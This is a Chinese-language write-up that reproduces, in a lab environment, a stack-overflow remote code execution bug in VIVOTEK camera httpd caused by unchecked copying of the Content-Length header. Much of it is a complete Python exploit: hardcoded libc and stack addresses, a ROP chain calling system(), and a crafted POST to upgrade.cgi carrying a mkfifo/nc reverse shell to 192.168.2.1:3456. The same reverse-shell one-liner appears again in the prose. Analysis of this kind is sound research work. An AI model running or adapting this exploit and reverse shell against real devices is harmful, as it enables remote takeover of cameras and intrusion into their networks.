漏洞分析:VIVOTEK栈溢出远程命令执行漏洞
这是/usr/sbin/httpd中,存在的对POST请求中Content-Length字段处理不当导致的栈溢出,攻击者通过构造恶意数据包实现RCE,下面对这个漏洞进行复现和分析,环境使用IoT-vulhub中提供的环境。
漏洞分析
由于固件剥离了符号表,无法恢复出函数名和一些结构体,我翻了一下固件里面好像也没有包含符号表,这对于逆向的难度比较大。我觉得在逆向httpd的过程中,要想离漏洞更近一步,就需要快速地理清楚http请求是在哪里被处理的,然后再看处理http请求的过程中,在对字符串进行处理的时候,使用了哪些危险函数,使用的这些危险函数有没有可能造成栈溢出和命令注入这种漏洞。
sub_19D7C函数中,有一个switch-case的分支语句,里面包含对各种http请求的处理:
第一个函数中,就是漏洞点存在的位置:当请求方式是POST请求或者PUT请求的时候,就会向栈中拷贝Content-Length字段的值,拷贝的方式很原始,直接用strncpy复制,第三个参数的值由字符串首尾指针相减得到,没有对Content-Length的长度做出限制,就可能造成栈溢出。
漏洞利用
关于漏洞利用,路由器摄像头这些和普通的pwn题肯定不一样,pwn题输入输出绑定在端口上,system("/bin/sh")构造一条ROP链可以很简单,但是对于这些IoT设备肯定要起一个反弹shell。构思一下,大概需要这么几个步骤:
1.输入的时候,输入的值是拷贝到栈上的,这时候我们输入的是反弹shell的命令;
2.我们需要把这个命令传递给system函数,那我们就需要先把sp指针移动到反弹shell被拷贝在栈上的位置;
3.然后再找到类似"mov r0,sp"这样的gadget。
在调试的过程中,发现在httpd崩溃之后,sp寄存器指向的地址,在拷贝的目的地址+0x38地址处,就是说如果把反弹shell的命令布置在这个地址处,就可以不用找gadget去移动sp指针,只要再找到一条rop链,最终满足"mov r0,sp"这种就可以了。
这个漏洞的利用中,还要考虑的一点就是规避"\x00"字符,如果构造的数据包中存在"\x00",strncpy在拷贝的过程中一定会被截断,导致利用的失败。如果远程环境开启了aslr,我们就只能利用httpd的自身的gadget先来泄露地址,而这时候gadget中不可避免地会出现"\x00",所以为了完成利用,可能确实得先关闭一下aslr,关闭aslr之后,system函数,栈地址这些在内存中的加载地址都是固定的,构造思路更简单了。
调试得到libc加载的基地址:
我们写入的payload构造大致如下图:
最终exp如下:
import os #ttpd_path = "/root/squashfs-root/usr/sbin/httpd" #lib_path = "/root/squashfs-root/lib/libc.so.0" #elf = ELF(httpd_path) #libc = ELF(lib_path) libc_base = 0xb6f2d000 stack = 0xbeffeb08 # 0x00033100 : pop {r0, pc} pop_r0_pc = 0x000485d4 + libc_base system_addr = 0xb6f74ab0 #reverse_shell = "nc -e /bin/bash 192.168.2.1 3456\n" reverse_shell = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f" ropchain = 'a'*52 + p32(pop_r0_pc) + p32(stack) + p32(system_addr) + reverse_shell payload = "POST /cgi-bin/admin/upgrade.cgi\r\nHTTP/1.0\nContent-Length:%s\n\r\n\r\n"%ropchain cmd = b'''echo -en "%s" | nc -v 192.168.2.2 80'''%payload log.success("%s"%(payload)) #os.system(cmd) with open('./pd','rb+') as f: f.write(cmd) #p.interactive()
默认linux的nc没有带-e(发送至性程序)选项, 选择通过命名管道的方式把bash通过nc反弹出来:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f
写入到pd这个文件之后,chmod加上可执行权限,同时在另一个窗口用nc侦听3456端口,执行pd:
可以看到攻击机和靶机在执行payload之后,建立了连接,但是不知道为啥sh没有被弹出来......unbengable